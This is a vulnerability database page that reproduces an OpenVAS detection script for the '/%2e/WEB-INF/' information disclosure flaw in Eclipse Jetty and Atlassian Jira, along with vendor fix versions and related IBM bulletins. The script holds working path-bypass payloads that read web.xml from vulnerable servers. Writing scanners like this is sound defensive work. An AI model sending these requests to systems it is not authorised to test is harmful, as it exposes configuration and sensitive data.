Lucene search
+L

'/%2e/WEB-INF/' Information Disclosure Vulnerability (HTTP)

🗓️ 09 Jun 2021 00:00:00Reported by Copyright (C) 2021 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 42 Views

HTTP information disclosure vulnerability in Atlassian Jira Server and Eclipse Jett

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: IBM Secure External Authentication Server is vulnerable to multiple issues due to Eclipse Jetty
29 Jul 202217:36
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling B2B Integrator vulnerable due to Eclipse Jetty
17 Oct 202213:12
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM MQ is vulnerable to multiple Eclipse Jetty issues
24 Jun 202216:32
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM Cloud Pak for Multicloud Management
20 Mar 202517:08
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling Secure Proxy is vulnerable to multiple issues due to Eclipse Jetty
29 Jul 202217:38
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in Eclipse Jetty affect IBM InfoSphere Information Server
17 May 202302:32
ibm
ibm
IBM Security Bulletins
Security Bulletin: An Eclipse Jetty vulnerability affects IBM Rational Functional Tester
29 Mar 202206:27
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM MaaS360 Mobile Enterprise Gateway uses Eclipse Jetty with multiple known vulnerabilities
6 Jun 202218:23
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in Rational Change 5.3.2 Fix Pack 04 and earlier versions.
11 Oct 202208:56
ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Eclipse Jetty affect Rational Performance Tester (CVE-2021-28169, CVE-2021-34428, CVE-2021-28163, CVE-2021-28164, CVE-2021-34429, CVE-2021-28165)
29 Jul 202220:31
ibm
Rows per page
# Copyright (C) 2021 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.117480");
  script_version("2023-03-06T10:19:58+0000");
  script_cve_id("CVE-2020-29453", "CVE-2021-28164", "CVE-2021-34429");
  script_tag(name:"last_modification", value:"2023-03-06 10:19:58 +0000 (Mon, 06 Mar 2023)");
  script_tag(name:"creation_date", value:"2021-06-09 09:00:38 +0000 (Wed, 09 Jun 2021)");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-07-11 17:15:00 +0000 (Sun, 11 Jul 2021)");
  script_name("'/%2e/WEB-INF/' Information Disclosure Vulnerability (HTTP)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2021 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5");
  script_xref(name:"URL", value:"https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm");
  script_xref(name:"URL", value:"https://jira.atlassian.com/browse/JRASERVER-72014");

  script_tag(name:"summary", value:"Various application or web servers / products are prone to an
  information disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"affected", value:"The following products are known to be affected:

  - Atlassian Jira Server and Jira Data Center

  - Eclipse Jetty versions 9.4.37.v20210219 and 9.4.38.v2021022

  Other products might be affected as well.");

  script_tag(name:"insight", value:"The servlet specification prohibits servlet containers from
  serving resources in the '/WEB-INF' and '/META-INF' directories of a web application archive
  directly to clients.

  This means that URLs like:

  http://example.com/WEB-INF/web.xml

  will return an error message, rather than the contents of the deployment descriptor.

  However, some application or web servers / products are prone to a vulnerability that exposes this
  information if the client requests a URL like this instead:

  http://example.com/%2e/WEB-INF/web.xml");

  script_tag(name:"impact", value:"Based on the information provided in this file an attacker might
  be able to gather additional info and / or sensitive data about the application / the application
  / web server.");

  script_tag(name:"solution", value:"The following vendor fixes are known:

  - Update Atlassian Jira Server to version 8.5.11, 8.13.3, 8.15.0 or later.

  - Update Eclipse Jetty to version 9.4.43, 10.0.6, 11.0.6 or later.

  For other products please contact the vendor for more information on possible fixes.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

base_pattern  = "^\s*<(web-app( .+|>$)|servlet(-mapping)?>$)";
extra_pattern = "^\s*</(web-app|servlet(-mapping)?)>$";

port = http_get_port( default:8080 );

foreach dir( make_list_unique( "/",
             "/context", # From the Jetty PoC
             "/s/test/_", # Atlassian Jira Server
             http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  url = dir + "/WEB-INF/web.xml";
  res = http_get_cache( item:url, port:port );

  # nb: Avoid excessive reporting if the file is directly accessible (already checked by
  # 2018/gb_sensitive_file_disclosures_http.nasl and 2021/gb_web-inf_plain_info_disclosure.nasl).
  if( res &&
      egrep( string:res, pattern:base_pattern, icase:FALSE ) &&
      egrep( string:res, pattern:extra_pattern, icase:FALSE ) )
    continue;

  paths = make_list( "/%2e/WEB-INF/web.xml",
                     "/%u002e/WEB-INF/web.xml",
                     "/.%00/WEB-INF/web.xml" );

  foreach path( paths ) {
    test_url = str_replace( string:url, find:"/WEB-INF/web.xml", replace:path );

    req = http_get( item:test_url, port:port );
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
    if( ! res )
      continue;

    if( egrep( string:res, pattern:base_pattern, icase:FALSE ) &&
        egrep( string:res, pattern:extra_pattern, icase:FALSE ) ) {
      report  = http_report_vuln_url( port:port, url:test_url );
      report += '\nResponse (truncated):\n\n' + substr( res, 0, 1500 );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2023 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 25
CVSS 3.15.3
EPSS0.99298
42